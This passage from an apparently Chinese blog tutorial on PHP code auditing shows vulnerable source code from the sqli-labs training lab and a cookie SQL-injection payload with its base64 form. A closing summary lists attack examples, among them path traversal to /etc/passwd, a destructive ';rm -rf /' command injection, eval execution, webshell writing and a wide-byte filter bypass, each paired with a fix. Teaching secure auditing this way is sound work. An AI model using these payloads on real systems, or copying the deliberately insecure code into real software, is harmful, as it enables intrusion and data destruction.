$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
//echo 'Your Login name:'. $row['username'];
echo "<br>";
//echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
echo "</br>";
echo "</br>";
//echo "Try again looser";
//print_r(mysqli_error($con1));
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
</font>
</div>
</body>
</html>
3.sqli-labs21
检查名为uname的 Cookie 是否存在。
红色1号:查看这两个值是否存在
红色2号:验证传进来的值与数据库中的是否对应
然后将base64后的cookee传给了sql语句中的username,所以到此我们了解了他的架构
既然使用了base64所以我们可以利用base64进行绕过
Payload:admin’)or 1=1 #
Base64后:YWRtaW6hryBvciAxPTEgIw==
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-21 Cookie Injection- Error Based- complex - string</title>
</head>
<body bgcolor="#000000">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
if(!isset($_COOKIE['uname']))
{
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome <font color='#FF0000'> Dhakkan </font><br></div>";
echo "<div align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";
echo "<div style='padding-top:10px; font-size:15px;'>";
echo "<!--Form to post the contents -->";
echo '<form action=" " name="form1" method="post">';
echo ' <div style="margin-top:15px; height:30px;">Username : ';
echo ' <input type="text" name="uname" value=""/> </div>';
echo ' <div> Password : ';
echo ' <input type="text" name="passwd" value=""/></div></br>';
echo ' <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';
echo '</form>';
echo '</div>';
echo '</div>';
echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';
echo '<font size="3" color="#FFFF00">';
echo '<center><br><br><br>';
echo '<img src="../images/Less-21.jpg" />';
echo '</center>';
function check_input($con1, $value)
{
if(!empty($value))
{
$value = substr($value,0,20); // truncation (see comments)
}
if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
{
$value = stripslashes($value);
}
if (!ctype_digit($value)) // Quote if not a number
{
$value = "'" . mysqli_real_escape_string($con1, $value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
echo "<br>";
echo "<br>";
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($con1, $_POST['uname']);
$passwd = check_input($con1, $_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysqli_query($con1, $sql);
$row1 = mysqli_fetch_array($result1, MYSQLI_BOTH);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', base64_encode($row1['username']), time()+3600);
echo "I LOVE YOU COOKIES";
echo "</font>";
echo '<font color= "#0000ff" font size = 3 >';
//echo 'Your Cookie is: ' .$cookee;
echo "</font>";
echo "<br>";
print_r(mysqli_error($con1));
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
header ('Location: index.php');
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysqli_error($con1));
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
echo "</font>";
echo '</font>';
echo '</div>';
}
else
{
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo "<br><br><br><b>";
echo '<img src="../images/Less-21.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysqli_query($con1, $sql);
if (!$result)
{
die('Issue with your mysql: ' . mysqli_error($con1));
}
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
else
{
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/slap1.jpg" />';
echo "<br><br><b>";
//echo '<img src="../images/Less-20.jpg" />';
}
echo '<center>';
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
echo '</center>';
}
else
{
echo '<center>';
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo '<font color= "#FFFF00" font size = 6 >';
echo " Your Cookie is deleted";
setcookie('uname', base64_encode($row1['username']), time()-3600);
header ('Location: index.php');
echo '</font></center></br>';
}
echo "<br>";
echo "<br>";
//header ('Location: main.php');
echo "<br>";
echo "<br>";
//echo '<img src="../images/slap.jpg" /></center>';
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'Cookie:'.$cookee."\n");
fclose($fp);
}
?>
</body>
</html>
五:总结
一、审计流程与步骤
-
架构理解:快速梳理项目结构,识别框架类型(如Laravel、ThinkPHP),分析路由机制与入口文件。
-
过滤机制检查:全局搜索输入过滤函数(如addslashes、htmlspecialchars),验证过滤覆盖范围(GET/POST/COOKIE等)。
-
双向漏洞追踪
-
正向追踪:从用户输入点(GET/GET/_POST)跟踪数据流向,分析中间处理逻辑
-
反向追踪:从危险函数(exec/include/unserialize)回溯参数源头
-
二、常见漏洞类型与案例
-
文件包含漏洞
-
危险函数:include/require
-
攻击示例:
include($_GET['page'].".php")
通过路径穿越读取/etc/passwd -
修复方案:固定路径前缀 + 白名单控制
-
-
命令注入漏洞
-
危险函数:system/exec
-
攻击示例:
system("ping ".$_GET['ip'])
注入;rm -rf /
-
修复方案:使用escapeshellarg转义 + 正则白名单过滤
-
-
代码执行漏洞
-
危险函数:eval/assert
-
攻击示例:
eval($_GET['code'])
直接执行PHP代码 -
修复方案:禁用危险函数 + 移除动态代码执行逻辑
-
-
文件操作漏洞
-
危险函数:file_put_contents/unlink/copy
-
攻击示例:
file_put_contents($_GET['file'], '恶意代码')
写入webshell -
修复方案:限制文件路径权限 + 内容安全扫描
-
-
反序列化漏洞
-
危险函数:unserialize
-
攻击示例:反序列化恶意数据触发__destruct魔术方法
-
修复方案:避免反序列化外部输入 + 使用json替代
-
三、经典漏洞模式
-
全局过滤绕过
-
宽字节注入:GBK编码环境下%bf%27绕过addslashes
-
二次解码:urldecode(base64_decode($input))
-
-
特性利用
-
PHP伪协议:php://input执行POST代码
-
过滤器攻击:php://filter读取源码
-
四、防御策略体系
-
输入验证:强制类型转换 + 正则白名单匹配
-
输出编码:htmlspecialchars/json_encode
-
安全配置:
-
php.ini禁用allow_url_fopen/allow_url_include
-
disable_functions关闭高危函数
-
-
环境加固:
-
Web服务运行账户权限隔离
-
文件目录读写权限控制
-
PHP代码审计需要建立"攻击者思维",重点监控数据从输入到执行的完整链路。通过危险函数定位、过滤机制验证、边界条件测试的三维检测,结合自动化工具与人工审计,可有效发现潜在安全风险。防御体系需贯彻纵深防御理念,从输入过滤、处理转义、权限控制等多维度构建安全防线。
(需要源代码等各种资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)